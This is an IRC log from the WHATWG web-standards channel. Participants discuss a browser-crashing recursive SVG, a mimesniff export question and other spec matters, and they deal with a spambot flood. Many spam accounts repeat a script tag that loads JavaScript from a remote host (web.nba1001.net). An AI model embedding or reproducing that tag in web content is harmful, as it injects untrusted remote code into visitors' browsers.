| 00:00 | <gsnedders|ooo> | sangwhan: I mean that would essentially be something you could do with canvas already, no? |
| 00:02 | <sangwhan> | gsnedders|ooo: to some extent, it's a bit roundabout and wouldn't work from a SW though. :-( |
| 00:02 | <Domenic> | sangwhan: bytes <-> pixel arrays, you mean? A lot of people want it; seems like a nice idea; no strong drivers to cause any implementers to actually spend resources, though. |
| 00:04 | <sangwhan> | Domenic: Yes, bytes<->object(with or without raw raster access) or also video I guess. I think it would be something worth iterating as a layered API first. |
| 09:45 | <KevinMarks> | Someone uploaded an SVG file that crashes any browser that tries to render it to svgshare.com - I'd like to file browser/spec bugs about it, but I'm not sure how best to do so as any process previewing it is going to run out of RAM and die. |
| 09:45 | <KevinMarks> | What's best practice here? |
| 09:51 | <ondras> | when you open the SVG with a file editor, do you see any obvious reason why the RAM runs out? |
| 09:51 | <ondras> | i.e. is the file size 100GB or similar? :) |
| 10:05 | <KevinMarks> | It builds a fractal by recursively transforming a rectangle. The file is 13k, but its effectively a transform fork bomb. |
| 10:14 | <ondras> | I see |
| 10:15 | <ondras> | well I suppose that other image formats are able to crash the renderer stuff as well (jpegs of billion X billion pixel sizes etc) |
| 10:15 | <ondras> | so to me this does not really sound like a spec/browser bug, or at least not specific to this one case |
| 10:16 | <ondras> | apparently this cannot be fixed by inspecting the file prior to rendering |
| 10:17 | <ondras> | so your best bet would be to submit the problematic file to all afflicted renderers and propose they fail in a more graceful fashion |
| 10:18 | <KevinMarks> | It's a tricky one, in that you need to pay attention to recursion depth. I assume postscript has been through this before. |
| 10:19 | <ondras> | well caring for recursion depth is quite common -- JS impls do that normally, throwing a regular exception once a limit is hit |
| 10:21 | <jgraham> | KevinMarks: Seems like a browser bug with a link to the testcase and a warning that it may crash the process would be fine |
| 10:43 | <KevinMarks> | I can provide the svg with a txt extension, that is relatively safe (though content sniffing could still trigger it) |
| 10:48 | <jgraham> | Testcases that crash browsers are not really a new thing :) |
| 12:40 | <GPHemsley> | annevk: Are Review Drafts deliberately in black and white? |
| 12:41 | <GPHemsley> | ..or is there a stylesheet missing? |
| 12:41 | <annevk> | GPHemsley: yup |
| 12:41 | <GPHemsley> | k |
| 14:51 | <J21_> | <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script> |
| 14:51 | <J21_> | This message was brought to you by Private Internet Access |
| 15:08 | <StephenS15> | <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script> |
| 15:08 | <StephenS15> | This message was brought to you by Private Internet Access |
| 15:20 | <myth0d2211> | <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script> |
| 15:20 | <myth0d2211> | This message was brought to you by Private Internet Access |
| 15:37 | <nox> | Ah ffs they are back |
| 15:46 | <t0ne26> | <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script> |
| 15:46 | <t0ne26> | This message was brought to you by Private Internet Access |
| 15:58 | <duckgoose7> | <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script> |
| 15:58 | <duckgoose7> | This message was brought to you by Private Internet Access |
| 15:58 | <horse> | <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script> |
| 15:58 | <horse> | This message was brought to you by Private Internet Access |
| 16:03 | <bmos7> | <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script> |
| 16:03 | <bmos7> | This message was brought to you by Private Internet Access |
| 16:03 | <nox> | annevk: You probably want to make the channel +r before this shit settles down. |
| 16:12 | <lostnord> | <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script> |
| 16:12 | <lostnord> | This message was brought to you by Private Internet Access |
| 16:26 | <Guest32399> | <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script> |
| 16:26 | <Guest32399> | This message was brought to you by Private Internet Access |
| 16:33 | <Humbedooh7> | <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script> |
| 16:33 | <bigpresh629> | <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script> |
| 16:33 | <Humbedooh7> | This message was brought to you by Private Internet Access |
| 16:33 | <bigpresh629> | This message was brought to you by Private Internet Access |
| 16:33 | <cncr04s0> | <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script> |
| 16:33 | <cncr04s0> | This message was brought to you by Private Internet Access |
| 17:31 | <annevk> | So I'm trying to figure out how to IRC to ban these folks and no luck... |
| 17:31 | <annevk> | I'm in the access list, but I cannot op myself |
| 17:31 | <nox> | annevk: How come you can't? |
| 17:31 | <annevk> | And I also cannot find good documentation suitable for Freenode |
| 17:32 | <annevk> | nox: if only I knew |
| 17:32 | <nox> | annevk: /cs op #whatwg annevk |
| 17:32 | <nox> | Should work. |
| 17:33 | <wfranken> | <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script> |
| 17:33 | <wfranken> | This message was brought to you by Private Internet Access |
| 17:34 | <nox> | mst: Seems like sigyn left? |
| 17:34 | <nox> | annevk: Sigyn should kill all of this automatically, it's a network bot. |
| 17:34 | <mst> | anybody objecting to me deploying the network anti-spambot, please bitch now because I'm having a really stupid day |
| 17:35 | <nox> | mst: ^ |
| 17:35 | <mst> | also wtf |
| 17:35 | <nox> | Hah. |
| 17:35 | <annevk> | mst: go ahead |
| 17:35 | <nox> | mst: Good luck my friend. |
| 17:35 | <mst> | annevk: can you '/invite sigyn' please |
| 17:35 | <annevk> | nox: apparently I wasn't logged in for some reason |
| 17:35 | <annevk> | mst: done |
| 17:36 | <mst> | while I get somebody to tell me what I did wrong that made her leave after 10s |
| 17:36 | <nox> | If I ever feel like I'm having a shitty day this Summer, I'll remember mst's today. |
| 17:36 | <mst> | annevk: basically, if she parts again, re-/invite her |
| 17:36 | <mst> | she *shouldn't* but I think she's under fairly heavy load atm |
| 17:36 | <annevk> | mst: okay, I'll be afk for a while, but hopefully someone else will read up on this |
| 17:36 | mst | pets the murderbot |
| 17:37 | <mst> | if nobody else is around likely nox will ping me :) |
| 17:38 | <nox> | https://irccloud.mozilla.com/file/wW0S1fPk/Capture%20d%E2%80%99e%CC%81cran%202018-07-25%20a%CC%80%2019.37.46.png |
| 17:38 | <nox> | mst: Literally my job ^ |
| 18:10 | <Domenic> | Oh I thought we already had Sigyn |
| 18:21 | <domfarolino> | ugh |
| 20:18 | <Domenic> | The anti-spam bots are not helping -_- |
| 20:46 | <jyasskin> | I thought about using https://mimesniff.spec.whatwg.org/#supplied-mime-type to pull out the Content-Type of a response, but it's noexport. Should I take the last Content-Type header manually, or do something else? |
| 21:09 | <Domenic> | jyasskin: it doesn't look like the noexport is intentional. So it'd just be a matter of adding export="" to the source. |
| 21:09 | <jyasskin> | Domenic: Thanks. |